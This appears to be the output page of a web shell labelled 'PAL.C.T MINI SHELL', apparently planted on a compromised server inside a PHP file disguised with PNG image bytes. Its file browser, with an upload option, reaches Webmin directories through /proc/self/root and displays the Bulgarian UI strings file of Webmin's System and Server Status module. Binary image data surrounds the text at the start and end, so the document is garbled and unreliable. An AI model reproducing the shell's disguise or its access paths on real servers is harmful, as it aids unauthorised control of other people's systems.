php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/status/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/status/lang/bg.auto

index_title=Състояние на системата и сървъра
index_name=Име на услугата
index_host=На хост
index_desc=мониторинг
index_up=Статус
index_last=Последна проверка
index_local=местен
index_add=Добавяне на монитор от тип:
index_sched=Планиран мониторинг
index_scheddesc=Включете или изключете планираната проверка на мониторите и задайте адреса, до който ще се изпращат автоматично грешки.
index_return=списък на услуги
index_none=В момента не са дефинирани монитори.
index_oldtime=Състояние от последната планирана проверка на $1 
index_esnmp=Модулът е конфигуриран да изпраща SNMP капани на страницата <a href='$3'>Config Module</a>, но модулът $1 Perl не е инсталиран. <a href='$2'>Кликнете тук</a>, за да изтеглите и инсталирате сега.
index_refresh=Обновяване на състоянието
index_refreshdesc=Извършете незабавно опресняване на всички състояния на монитора, вместо да чакате следващата планирана актуализация.
index_delete=Изтрий избраното
index_refsel=Обновяване на избраното
index_group=Членове на $1 
index_tmpls=Редактиране на шаблони за имейл
index_tmplsdesc=Преглеждайте и редактирайте шаблони, използвани за конструиране на имейл съобщения, изпратени, когато наблюдаваните услуги намаляват.

type_apache=Apache Webserver
type_inetd=Интернет и RPC сървър
type_xinetd=Разширен Интернет сървър
type_squid=Прокси сървър на калмари
type_bind8=BIND DNS сървър
type_dnsadmin=BIND 4 DNS сървър
type_dhcpd=DHCP сървър
type_tcp=Дистанционна TCP услуга
type_http=Дистанционна услуга HTTP
type_sslcert=SSL сертификат
type_ftp=Дистанционна FTP услуга
type_sendmail=Sendmail сървър
type_postfix=Postfix сървър
type_fail2ban=Fail2Ban сървър
type_ping=Дистанционен пинг
type_proc=Проверка на процеса
type_mysql=MySQL база данни сървър
type_postgresql=PostgreSQL сървър на база данни
type_samba=Самба сървъри
type_nfs=NFS сървър
type_exec=Изпълнение на команда
type_file=Проверете файл или директория
type_traffic=Мрежов трафик
type_space=Дисково пространство
type_du=Размер на директория
type_consume=Разход на дисково пространство
type_load=Средно натоварване
type_change=Промяна на файл или директория
type_oldfile=Файлът не е променен
type_qmailadmin=QMail сървър
type_mon=MON Service Monitor
type_jabber=Jabber IM сървър
type_usermin=Usermin Webserver
type_portsentry=Portsentry Daemon
type_hostsentry=Домакин Деймън
type_webmin=Webmin Webserver
type_cfengine=Конфигурация на двигателя Daemon
type_memory=Безплатна памет
type_proftpd=ProFTPD сървър
type_dovecot=Dovecot IMAP/POP3 сървър
type_mailserver=Отговор на пощенски сървър
type_sshd=SSH сървър
type_raid=Състояние на RAID устройство
type_iface=Състояние на мрежовия интерфейс
type_init=Bootup Action
type_sensors=Състояние на LM сензора
type_nut=NUT UPS стойност
type_mailq=Размер на опашката за поща
type_dns=DNS търсене
type_query=SQL заявка
type_alive=Жива система
type_rssh=Отдалечен SSH
type_slapd=LDAP сървър
type_ldap=LDAP връзка

mon_create=Създайте монитор
mon_edit=Редактиране на монитора
mon_virtualmin=Внимание! Този монитор е свързан с домейна Virtualmin $1 и затова не трябва да се редактира или изтрива тук.
mon_header=Детайли на монитора
mon_header2=Команди за изпълнение
mon_header3=Опции за мониторинг на услугите
mon_desc=описание
mon_remote=Изпълнете на хост
mon_remotes2=Работете по хостове и групи
mon_local=местен
mon_none=Не са дефинирани отдалечени сървъри
mon_nosched=Проверете по график?
mon_warndef=Да и използвайте режим на отчитане по подразбиране
mon_warn1=Да и докладвайте за промените в състоянието
mon_warn0=Да и докладвайте, когато слизате
mon_warn2=Да и докладвайте, когато сте надолу
mon_warn3=Да, но никога не докладвайте
mon_status=Актуално състояние
mon_up=нагоре
mon_down=надолу
mon_webmin=Webmin Down
mon_timeout=Времето изтече
mon_not=Не е инсталирано
mon_ondown=Ако мониторът спадне, стартирайте команда
mon_onup=Ако се появи монитор, стартирайте команда
mon_ontimeout=Ако следите времето за наблюдение, стартирайте команда
mon_clone=Модул за наблюдение
mon_err=Неуспешно запазване на монитора
mon_edesc=Липсва описание
mon_elogin=Невалидно влизане за RPC на сървър на Webmin $1 
mon_eremote2=Webmin сървър $1 не можа да се свърже : $2 
mon_estatus=Webmin сървър $1 няма модула System and Status Status
mon_ecannot=Нямате право да редактирате монитори
mon_ertype=Този тип монитор не е наличен на $1 
mon_etype=Невалидно име на типа монитор
mon_runon=Изпълнете командите на
mon_runon0=Този сървър
mon_runon1=Отдалечният хост
mon_oninfo=Забележка: Командите ще се изпълняват само когато бъде изпратен имейл
mon_fails=Провали преди отчитане
mon_efails=Липсващ или невалиден брой повреди
mon_notify=Методи за уведомяване
mon_notifyemail=електронна поща
mon_notifypager=пейджър
mon_notifysnmp=SNMP
mon_notifysms=СМС
mon_email=Изпратете също имейл до тази услуга до
mon_depend=Не проверявайте дали мониторът е изключен
mon_edepend=Един монитор не може да зависи от себе си
mon_clone2=Clone
mon_skip=Пропуснато
mon_empty=Няма членове
mon_onemem=Един член
mon_members=$1 членове
mon_enoremote=Няма избрани хостове или групи, които да се изпълняват
mon_tmpl=Шаблон за съобщения
mon_notmpl=Няма (използвайте настройките по подразбиране на Webmin)
mon_header4=История на състоянието
mon_hwhen=Проверете дата
mon_hold=Стар статус
mon_hnew=Нов статус
mon_hvalue=стойност
mon_changes0=Показване на всеки тип събитие
mon_changes1=Показване само на промените
mon_all=Покажи всички исторически събития
mon_nochanges=Няма промени в състоянието в последните $1 исторически събития.

sched_title=Планиран мониторинг
sched_header=Планирани опции за наблюдение на фона
sched_mode=Активирана проверка по график?
sched_email=Доклад за състоянието на имейл до
sched_pager=Доклад за състоянието на страницата до номер
sched_none=Не изпращайте имейл
sched_pnone=Не изпращайте страници
sched_from=От: адрес за имейл
sched_int=Проверете всеки
sched_period_0=минути
sched_period_1=часа
sched_period_2=дни
sched_period_3=месеца
sched_period_4=седмици
sched_offset=с компенсиране
sched_warn=Изпращайте имейл, когато
sched_warn1=Когато дадена услуга промени статуса
sched_warn0=Когато услугата се понижи
sched_warn3=Стига услугата да изтече
sched_warn2=По всяко време услугата спира
sched_single=Изпращане на един имейл на услуга?
sched_hours=Стартирайте монитора в продължение на часове
sched_days=Стартирайте монитора на дни
sched_err=Неуспешното запазване на планирания мониторинг
sched_eemail=Липсващ имейл адрес
sched_eint=Липсващ или невалиден интервал
sched_eoffset=Липсва или невалидно изместване
sched_ehours=Няма избрани часове по време на избраното
sched_edays=Няма избрани дни за изпълнение
sched_ecannot=Нямате право да редактирате планиран мониторинг
sched_smtp=Изпратете поща чрез
sched_smtp_prog=Локален пощенски сървър
sched_smtp_server=SMTP сървър
sched_esmtp=Липсващ или невалиден SMTP сървър
sched_esmtpcmd=SMTP команда $1 не е успешна : $2 
sched_eemailserver=Вашият пощенски сървър не е инсталиран : $1 
sched_sms=Изпратете SMS до
sched_smsno=Никой
sched_smscarrier=Телефон на превозвача
sched_smsnumber=с номер
sched_esmsnumber=Липсващ или неномерен SMS номер
sched_esmsname=Липсващ или невалиден изглеждащ SMS номер
sched_subject=Тема за SMS съобщения
sched_subject0=Няма (сигнал е в тялото)
sched_subject1=Текст за предупреждение (оставете тялото празно)
sched_subject2=Персонализиран текст
sched_esubject=Липсва тема на SMS съобщението

up_since=Нагоре от $1 
depends_mod=Модулът $1 не е инсталиран във вашата система
depends_os=Модулът $1 не се поддържа във вашата система
depends_remote=Модулът $1 не се поддържа на сървър $2 

tcp_host=Хост, за да се свържете
tcp_port=Порт, за да се свържете
tcp_alarm=Време за изчакване на връзката
tcp_ehost=Липсващо или невалидно име на хост
tcp_eport=Липсващ или невалиден номер на порт
tcp_ealarm=Липсва или невалиден период на изчакване на връзката

http_url=URL адрес за заявка
http_alarm=Време за изчакване на връзката
http_eurl=Липсващ или невалиден URL адрес
http_ealarm=Липсва или невалиден период на изчакване на връзката
http_login=Влезте като
http_none=Не се удостоверявайте
http_user=Потребител
http_pass=парола
http_euser=Липсва потребителско име
http_method=Метод на HTTP заявка
http_regexp=Страницата трябва да съвпада с regexp
http_eregexp=Няма въведен редовен израз за съвпадение на страницата
http_none2=Не съвпадайте
http_ehead=Методът на заявка HEAD не може да се използва при проверка за редовен израз
http_codes=Приемливи кодове за състояние на HTTP
http_codes_def=По подразбиране ($1)
http_ecodes=Не са въведени HTTP кодове за приемане
http_ecodes3=HTTP кодът трябва да е трицифрено число

ping_host=Домакин за пинг
ping_wait=Време е да изчакате отговор
ping_ehost=Липсващо или невалидно име на хост
ping_ewait=Липсващо или невалидно време за изчакване
ping_econfig=В модула Config не е зададена команда ping
ping_timeout=Време за изчакване след $1 секунди
ping_resolv=Неуспешно разрешаване на името на хоста

proc_pid=Работи с PIDs $1 
proc_cmd=Команда за проверка
proc_not=Провал, ако процесът е
proc_not0=Не работи
proc_not1=Работещи
proc_ecmd=Липсваща команда
proc_thresh=Брой на процесите, които трябва да съществуват за монитора <br>, за да се счита, че те се изпълняват
proc_ethresh=Липсващ или невалиден брой процеси
proc_asuser=Работи като потребител
proc_anyuser=Всеки потребител
proc_easuser=Потребител, за да се стартира процес, тъй като не съществува

exec_cmd=Команда за изпълнение
exec_mode=Излезте от проверката на състоянието
exec_mode0=Неуспешен монитор, ако командата не успее
exec_mode1=Неуспешен монитор, ако командата е успешна
exec_mode2=Игнорирайте успеха или провала
exec_ecmd=Липсваща команда
exec_regexp=Сравнете продукцията с regexp
exec_noregexp=Не проверявайте
exec_remode=Regexp проверка
exec_remode0=Неуспех, ако изходът не съвпада
exec_remode1=Fail, ако изходът съвпада

file_file=Файл, директория или модел за проверка
file_test=Тест за изпълнение
file_test_0=Трябва да съществува
file_test_1=Не трябва да съществува
file_test_2=Размерът трябва да е по-голям от
file_test_3=Размерът трябва да е по-малък от
file_bytes=байта
file_efile=Липсва име на файл или директория за проверка
file_esize=Невалиден размер на файла
file_elarge=Файлове твърде големи : $1 
file_esmall=Файлове твърде малки : $1 
file_eowner=Файлове с грешен собственик : $1 
file_egroup=Файлове с грешна група : $1 
file_owner=Трябва да е собственик на файл
file_group=Файловата група трябва да бъде
file_nocheck=нищо
file_perms=Окталните разрешения трябва да бъдат
file_eperm=Файлове с грешни разрешения : $1 

traffic_iface=Интерфейс за наблюдение
traffic_bytes=Максимален байт/секунда
traffic_dir=Посока за наблюдение
traffic_dir0=Входящи и изходящи
traffic_dir1=Само входящи
traffic_dir2=Само изходящи
traffic_desc=Този монитор следи мрежовия трафик на избран интерфейс и го показва като намален, ако трафикът надвиши броя на байтовете в секунда, въведени по-долу. Това наистина работи добре, ако е разрешен планиран мониторинг на зададен кратък интервал, като на всеки 5 минути.
traffic_eifaces=Вашата операционна система няма файл/proc/net/dev
traffic_ebytes=Липсващ или невалиден брой байтове/секунда

space_fs=Файлова система за проверка
space_min2=Минимално свободно пространство
space_mode0=Абсолютен размер
space_mode1=Процент от общия брой
space_desc=$1 свободно
space_nofs=Файловата система не е монтирана
space_other=Друго ..
space_emin=Липсва или невалидно свободно място
space_epc=Липсващ или невалиден процент на свободното пространство
space_eother=Липсваща или невалидна файлова система
space_inode=Минимални безплатни индекси
space_ierr=Само $1 inodes свободно
space_merr=Само $1 свободно място
space_perr=Само $1% свободно
space_dferr=Неуспешно получаване на размер на файловата система

load_time=Заредете средно за проверка
load_1=1 минута
load_5=5 минути
load_15=15 минути
load_max=Максимално средно натоварване
load_emax=Липсваща или невалидна максимална средна стойност за натоварване
load_ecmd=Командата <tt>uptime</tt> не беше намерена във вашата система
load_efmt=Изходът на командата <tt>uptime</tt> не можа да бъде анализиран

log_create=Създаден монитор $1 
log_modify=Модифициран монитор $1 
log_delete=Изтрит монитор $1 
log_sched=Променен планиран мониторинг
log_deletes=Изтрити $1 монитори
log_tmpl_create=Създаден шаблон за имейл $1 
log_tmpl_modify=Модифициран имейл шаблон $1 
log_tmpl_delete=Изтрит шаблон за имейл $1 
log_tmpl_deletes=Изтрити шаблони за имейл $1 
log_refresh=Обновени състояния на монитора

acl_edit=Може ли да редактирате и създавате монитори?
acl_sched=Може ли да промените планирания мониторинг?

change_file=Файл или директория за наблюдение (неуспех, ако е променен)

jabber_eparser=Модулът Perl $1 не е инсталиран във вашата система.

memory_min2=Минимална свободна реална памет
memory_emin=Липсва или невалидно количество свободна реална памет
memory_eproc=Webmin не знае как да провери свободната памет във вашата операционна система
memory_free2=$1 свободна памет
memory_freeswap=$1 виртуална памет
memory_freelow=Само $1 свободна памет
memory_freelowswap=Само без виртуална памет $1 
memory_minswap=Минимална безплатна виртуална памет
memory_eminswap=Липсва или невалидно количество свободна виртуална памет

proftpd_etype=Този монитор не може да се използва, когато ProFTPD се работи самостоятелно

mailserver_to=Изпратете имейл на адрес
mailserver_timeout=Време и интервал
mailserver_units_0=секунди
mailserver_units_1=Минути
mailserver_units_2=Часа
mailserver_units_3=дни
mailserver_desc=Адресът по-долу трябва да бъде автоматичен отговор, който отговаря на адреса на източника със същия ред Subject:.

oldfile_file=Файл за наблюдение (неуспех, ако не е променен)
oldfile_diff=Неуспешно, ако не е променено за
oldfile_secs=сек

raid_device=RAID устройство
raid_edevice=Не е избрано RAID устройство
raid_bad=Открит е лош диск
raid_resync=В момента ресинсиране
raid_notfound=RAID устройство $1 не е намерено
raid_other=Друго ..

iface_iface=Интерфейс за проверка

init_action=Действие за проверка
init_eaction=Не е избрано действие

refresh_title=Обновяване на състоянието
refresh_doing=Освежаване на състоянието на всички монитори ..
refresh_doing2=Опресняване на състоянието на $1 избрани монитори ..
refresh_done=.. Свършен.

sensors_name=Сензор за проверка
sensors_value=Неуспешно кога
sensors_value0=Системата показва предупреждение
sensors_value1=Стойността е под $1 
sensors_value2=Стойността е над $1 
sensors_cmd=Командата <tt>сензори</tt> не е инсталирана във вашата система. Този монитор изисква пакетът lm_sensors да бъде инсталиран, за да работи.
sensors_none=Не са открити сензори във вашата система. Може да се наложи да изпълните командата за инициализация <tt>sensors-detect</tt>.
sensors_cur=$1 (в момента $2 $3)
sensors_emin=Липсваща или невалидна минимална стойност
sensors_emax=Липсваща или невалидна максимална стойност

nut_ups=NUT UPS за проверка
nut_name=Атрибут за проверка
nut_value=Неуспешно кога
nut_value1=Стойността е под $1 
nut_value2=Стойността е над $1 
nut_cmd=Командата <tt>upsc</tt> не е инсталирана във вашата система. Този монитор изисква пакетът NUT да бъде инсталиран и конфигуриран да работи.
nut_eups=Няма въведена USP за проверка
nut_cur=$1 (в момента $2)
nut_emin=Липсваща или невалидна минимална стойност
nut_emax=Липсваща или невалидна максимална стойност

mailq_system=Пощенски сървър
mailq_qmailadmin=Qmail
mailq_postfix=Postfix
mailq_sendmail=Изпрати писмо
mailq_size=Максимален размер на опашката за поща
mailq_esize=Липсващ или невалиден максимален размер на опашката
mailq_toomany=Надолу - $1 съобщения на опашка
mailq_ok=Нагоре - $1 съобщения на опашка

dns_server=DNS сървър
dns_host=Име на хост за търсене
dns_address=Очакван IP адрес
dns_eserver=Липсващ или невалиден DNS сървър
dns_ehost=Липсващо или невалидно изглеждащо име на хост за търсене
dns_eaddress=Липсващ или невалиден очакван IP адрес
dns_ecmds=Нито командите <tt>nslookup</tt>, нито <tt>dig</tt> не са инсталирани във вашата система

monitor_sub_down=$1 надолу върху $2 
monitor_pager_down=$1 : "$2" е надолу $3 
monitor_snmp_down=$1:$2
monitor_email_down=Монитор на $1 за „$2“ откри, че услугата е спаднала на $3 
monitor_sub_up=$1 архивиране на $2 
monitor_pager_up=$1 : "$2" е резервно копие $3 
monitor_snmp_up= $1:$2 е архивирано
monitor_email_up=Монитор на $1 за „$2“ откри, че услугата се върна обратно на $3 
monitor_sub_un=$1 деинсталиран на $2 
monitor_pager_un=$1 : Деинсталиране на „$2“ $3 
monitor_snmp_un= $1:$2 деинсталиран
monitor_email_un=Монитор на $1 за „$2“ откри, че услугата е деинсталирана на $3 
monitor_sub_webmin=$1 Webmin надолу на $2 
monitor_pager_webmin=$1 : "$2" Webmin надолу $3 
monitor_snmp_webmin= $1:$2 Webmin надолу
monitor_email_webmin=Монитор на $1 за '$2' е открил, че Webmin е на $3 
monitor_sub_timed=$1 изтече на $2 
monitor_pager_timed=$1 : Времето „$2“ изтече $3 
monitor_snmp_timed= $1:$2 изтече
monitor_email_timed=Мониторът на $1 за „$2“ изтече на $3 
monitor_sub_isdown=$1 надолу върху $2 
monitor_pager_isdown=$1 : "$2" е надолу $3 
monitor_snmp_isdown=$1:$2
monitor_email_isdown=Монитор на $1 за '$2' е открил, че услугата е на $3 
monitor_sub_isup=$1 нагоре на $2 
monitor_pager_isup=$1 : „$2“ е нараснал с $3 
monitor_snmp_isup=%$12
monitor_email_isup=Мониторът на $1 за „$2“ установи, че услугата се повишава с $3 
monitor_sub=Монитор на услугата : $1 
monitor_sub2=Сервизен монитор
monitor_sub3=Монитор на услугата: $1 услуги
monitor_run1=Изпълнение $1 на $2 ..
monitor_run2=Изпълнява се $1 ..
monitor_runerr=Неуспешно стартиране на $1 на $2 : $3 
monitor_email_stat=Текущо състояние: $1 

deletes_egone=Един от избраните монитори вече не съществува
deletes_enone=Няма избрани монитори

ftp_host=Хост на FTP сървъра
ftp_port=FTP порт
ftp_user=Влезте като потребител
ftp_anon=анонимен
ftp_pass=С парола
ftp_file=Файл за извличане
ftp_none=Няма (само влезте)
ftp_ehost=Липсващ или невалиден хост на FTP сървър
ftp_eport=Липсва или невалиден порт на FTP сървър
ftp_efile=Липсващ или невалиден файл за изтегляне
ftp_tls=Използвате TLS криптиране?
ftp_etls=TLS не може да бъде активиран, ако не е инсталиран модулът $1 Perl
ftp_econn=TLS FTP връзката не бе успешна
ftp_econn2=TLS FTP връзката не бе успешна : $1 
ftp_elogin=TLS FTP влизането не бе успешно : $1 
ftp_etlsfile=Изтеглянето на TLS FTP не бе успешно : $1 

query_driver=Тип SQL база данни
query_db=Име на базата данни
query_host=Хост на сървър на база данни
query_local=Този сървър
query_user=Влезте като потребител
query_pass=Влезте с парола
query_sql=SQL заявка за изпълнение
query_result=Очакван резултат
query_ignore=Игнорирайте резултата
query_edriver=Модулът на драйвер Perl $1 не е инсталиран
query_edb=Липсващо или невалидно име на базата данни
query_ehost=Липсващо или невалидно име на хост на сървъра на базата данни
query_euser=Невалидно потребителско име
query_epass=Невалидна парола
query_esql=Липсва SQL заявка
query_eresult=Липсва очакван резултат
query_elogin=Влизането не бе успешно : $1 
query_eprepare=SQL грешка : $1 
query_eexecute=SQL не бе успешно : $1 
query_ewrong=Неправилен резултат : $1 

consume_rate=Максимална консумация (в секунда)
consume_high=Степента на потребление е $1 / секунда

alive_up=Нагоре за $1 

rssh_host=SSH хост сървър
rssh_ruser=Влезте като потребител
rssh_rpass=Влезте с парола
rssh_nopass=Не се изисква
rssh_nologin=Не се опитвайте да влезете
rssh_ehost=Липсващ или невалиден хост на SSH сървър
rssh_eruser=Липсва потребителско име
rssh_ecmd=Командата <tt>ssh</tt> не е инсталирана във вашата система
rssh_eproc=Модулът „Изпълняващи процеси“ не се поддържа във вашата система
rssh_wrongpass=Неправилно влизане
rssh_failed=Свързването е неуспешно
rssh_error=SSH грешка
rssh_haspass=парола
rssh_port=SSH сървър порт
rssh_eport=Липсващ или невалиден номер на порт

tmpls_title=Шаблони за имейл
tmpls_ecannot=Нямате право да редактирате шаблони за електронна поща
tmpls_none=Все още не са дефинирани шаблони за имейл. Всички сигнали ще бъдат изпращани с помощта на съобщенията по подразбиране на Webmin.
tmpls_desc=описание
tmpls_email=Съобщение по имейл
tmpls_add=Добавете нов шаблон за имейл.
tmpls_return=списък с шаблони
tmpls_delete=Изтрийте избраните шаблони

tmpl_title1=Създайте шаблон за имейл
tmpl_title2=Редактиране на имейл шаблон
tmpl_header=Съобщения за шаблонни имейл съобщения
tmpl_desc=Описание на шаблона
tmpl_email=Съобщение по имейл
tmpl_sms=SMS съобщение
tmpl_sms1=По подразбиране Webmin
tmpl_sms0=Персонализирано съобщение по-долу ..
tmpl_snmp=Пейджър съобщение
tmpl_instr=Инструкции и замествания
tmpl_subs=Съобщенията по имейл, SMS и пейджър, дефинирани на тази страница, могат да използват следните замествания :
tmpl_subs_desc=Описание на услугата
tmpl_subs_host=Домакинът се следи
tmpl_subs_date=Текуща дата
tmpl_subs_time=Текущо време
tmpl_subs_status=Състояние на услугата, като <i>Down</i>
tmpl_subs2=Освен това можете да използвате условни блокове като: <tt>$1 Услугата е намалена $2 Услугата е ОК $3</tt>
tmpl_err=Неуспешно запазване на имейл шаблон
tmpl_edesc=Липсва описание на шаблон
tmpl_emsg=Липсва имейл съобщение
tmpl_esms=Липсва SMS съобщение
tmpl_esnmp=Липсва SNMP съобщение
tmpl_err2=Изтриването на шаблон за имейл не бе успешно
tmpl_eusers=Той се използва от следните монитори : $1 

dtmpls_err=Изтриването на шаблоните не бе успешно
dtmpls_enone=Няма избран
dtmpls_eusers=$1 се използва от следните монитори : $2 

sslcert_src=Местоположение на сертификата
sslcert_url=От HTTPS URL
sslcert_file=От файл на сървър
sslcert_eurl=Липсващ, невалиден или не-SSL URL адрес
sslcert_efile=Липсващ или невалиден файл на сертификат
sslcert_ecert=Сертификатът не можа да се получи
sslcert_edown=Уеб сървърът е изключен
sslcert_days=Дни преди изтичането му да се провали
sslcert_when=Когато изтече
sslcert_mismatch=Откриете също несъответствие на име на хост?
sslcert_edays=Липсващ или невалиден брой дни
sslcert_eopenssl=За проверка на сертификатите е необходима командата <tt>openssl</tt>
sslcert_estart=Не важи до $1 
sslcert_eend=Не важи след $1 
sslcert_left=Горе - $1 дни до изтичане
sslcert_ematch=Име на хост $1 не съответства на сертификата $2 
sslcert_emismatch=Проверката на името на хоста на сертификата може да се използва само при проверка на URL адрес

du_dir=Директория за наблюдение
du_max=Максимален размер
du_edir=Липсващ или не абсолютен път към директорията
du_emax=Липсващ или ненумерен максимален размер
du_over=Размерът е $1 
du_under=Размерът е само $1 

ldap_edriver=Модулът Perl $1 не е инсталиран
ldap_host=Име на хост на LDAP сървъра
ldap_port=LDAP сървър порт
ldap_ssl=Използвате SSL връзка?
ldap_user=Вход в LDAP сървър
ldap_pass=Парола за LDAP сървър

info_desc=Системен монитор
info_last=Актуално състояние
info_title=Състояние на системата и сървъра
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`